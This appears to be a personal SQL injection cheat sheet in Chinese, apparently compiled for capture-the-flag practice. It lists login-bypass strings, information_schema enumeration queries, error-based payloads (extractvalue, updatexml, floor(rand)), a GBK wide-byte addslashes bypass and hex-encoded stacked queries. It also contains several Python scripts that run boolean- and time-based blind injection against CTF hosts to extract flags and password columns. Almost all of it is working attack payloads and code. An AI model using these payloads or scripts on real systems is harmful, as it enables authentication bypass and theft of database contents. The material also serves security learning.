'
"
)
))
')
")
'))
"))
';
\

' or 1='1
' || 1#
' & 1#
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

1.数据库总数
select count(SCHEMA_NAME) from information_schema.SCHEMATA)

2.数据库长度
length(database())

3.数据库名字
database()
select group_concat(schema_name) from information_schema.schemata

4.表的个数
select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

5.表名长度
select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

6.表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 

7.列数
select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名'

8.列名长度
select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1

9.列名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1

10.数据长度
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1

11.数据
select concat(username,"-----",password) from admin limit 0,1),1,1

left(), right(), substring(), substring_index(), mid(), substr()
其中mid(), substr() 等价于 substring() 函数

ORD()  ascii()                  :转换成ascii码
Length()                        :统计长度
Sleep()                         :延迟函数
benchmark()                     :延迟函数
If(condition,true,false)        :条件语句
regexp                          :正则
database()                      :查看当前数据库名
version()                       :查看数据库版本
user()                          :查看当前用户

left()
ascii()、substr()
regexp
if()
ord()、mid()
?id=1'and left((select database() limit 0,1),1)='s'#

' or  length(database())>1#

if(ascii(substr(select xxx,x,1))>x,1,0)
mid(select ,1,1)='z'
left((select database() limit 0,1),1)='s'#
ORD(mid(database(),1,1)) > 100
select xxx ='user' 
xxxx regexp '^us[a-z]'

import requests
url='http://challenge-76d8ef356dbd48f7.sandbox.ctfhub.com:10800/'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        #payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),1,0)".format(i,mid)
        #payload="if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),{},1))>{}),1,0)".format(i,mid)
        payload="if((ascii(substr(right((select group_concat(flag) from flag),10),{},1))>{}),1,0)".format(i,mid)
        #payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':payload
             }
        res=requests.get(url,params=params).text
        if 'query_success' in res:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

' and sleep(3)#
benchmark(50000000,encode('msg','key')) //运行encode('msg','key')操作50000000 次，会占用一段时间。

1.if(ascii(substr(select xxx,x,1))>x,sleep(2),0)
2.sleep(if((lengrh(database())>1,0,5))
3.sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+

times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 2:
   flag+=...

import requests
import time
url='http://challenge-246727d4e05c9be7.sandbox.ctfhub.com:10800/'
flag=''
min=0
max=127
mid=int((min+max)/2)

for i in range(25):
    while mid>min:
        payload="if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}),sleep(2),0)".format(i,mid)
        #payload="if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),{},1))>{}),1,0)".format(i,mid)
        #payload="if((ascii(substr(right((select group_concat(flag) from flag),10),{},1))>{}),1,0)".format(i,mid)
        #payload=" or if((ascii(substr((select group_concat(password) from users),{},1))>{}),1,0)# ".format(i,mid)
        params={
            'id':payload
             }
        times = time.time()
        res=requests.get(url,params=params).text
        if time.time() - times >= 2:
              min=mid
              mid=int((min+max)/2)
        else:
            max=mid
            mid=int((min+max)/2)
    flag+=chr(mid+1)
    print(flag)
    min=0
    max=127
    mid=int((min+max)/2)
print(flag)

import requests

# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"


while True:
    for i in range(32, 128):
        burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)#case代替if
        print burp0_url
        try:
            requests.get(burp0_url, timeout=3)
            if i == 127:
                j = -1
        except:
            flag += chr(i)
            print flag
            j += 1
            break

    if j == -1:
        print flag
        exit(0)

 rand()  产生一个不固定的0~1的随机数列，加了参数之后会变成固定的伪随机数列
 rand(0),rand(1)，当使用一个整数参数时，rand使用该参数作为种子生成一个固定的伪随机数列
 floor  向下取整 floor(2.5) == 2
 count()统计元组的个数
 concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
 concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
 extractvalue(最长32位)	MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是 ExtractValue()和 
 updateXml(最长32位)
 name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处. 	

1.利用 floor(rand(x)*2) 的执行bug进行报错注入
concat((查询语句),floor(rand(0)*2))
?id=1" union select 1,count(*),concat((查询语句),floor(rand(0)*2))a from information_schema.columns group by a#
?id=1" and (select 1 from(select count(*),concat((查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

2.报错函数
1" and extractvalue(1,concat(0x7e,(查询语句)))#
1 and updatexml(1,concat(0x7e,(查询语句),0x7e),1)#

3.name_const
1" union select 1,2,3 from (select name_const((查询语句),1),name_const((查询语句),1))x #

4.double
1" union select (exp(~(select * from(select user())a))),2,3#

5.bright
1" union select (!(select * from (select user())x) - ~0),2,3#

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

$userid = iconv('utf-8','gbk',$userid)
$userid = mb_convert_encoding('utf-8','gbk',$userid)
如果存在这样的注入语句$userid = admin' or 1=1--，那么久可以绕过addslashes注入。原理和2相同
而如果反过来，也同样存在字节注入
$userid = iconv(''gbk',utf-8',$userid)
$userid = mb_convert_encoding('gbk','utf-8',$userid)
只需要把注入语句改为$userid = admin運' or 1=1--，原理同上

import requests
import re
from time import sleep


def flag():
    flag = ''
    url = 'http://106.54.163.94:10000/'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    url3 = url + 'user.php'
    url4 = url + 'index.php'
    for i in range(1, 45):
       
        s = requests.Session()
        for j in range(1,128):
            # 注册数据包
            data1 = {
                "email": f"aiwin@163.com",
                "username": f"3' and if((ascii(substr((select f14g from f14g), {i}, 1)) = {j}), 1, 0)#",
                "password": "1@#af3532",
                "confirmpass": "1@#af3532",
                "register": "1@#af3532"
            }
            # 登录数据包
            data2 = {
                "username": f"3' and if((ascii(substr((select f14g from f14g), {i}, 1)) = {j}), 1, 0)#",
                "password": "1@#af3532",
                "login": "1"
            }
            # 发送日记数据包
            data4 = {
                "content": "123",
                "submit": "%E4%BF%9D%E5%AD%98"
            }

            response_regt = requests.post(url=url1, data=data1)
            response_login = s.post(url=url2, data=data2)
            response_sent = s.post(url=url3, data=data4)
            response_see = s.get(url=url4)
            #print(response_see.text)
            if "uploads/default.jpg" in response_see.text:  # 正确则将low = mid + 1，继续搜索
               
           
                flag = flag + chr(j)
                print(flag)

 


if __name__ == '__main__':
    flag()

'   报错

';  恢复正常

"   正常

asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)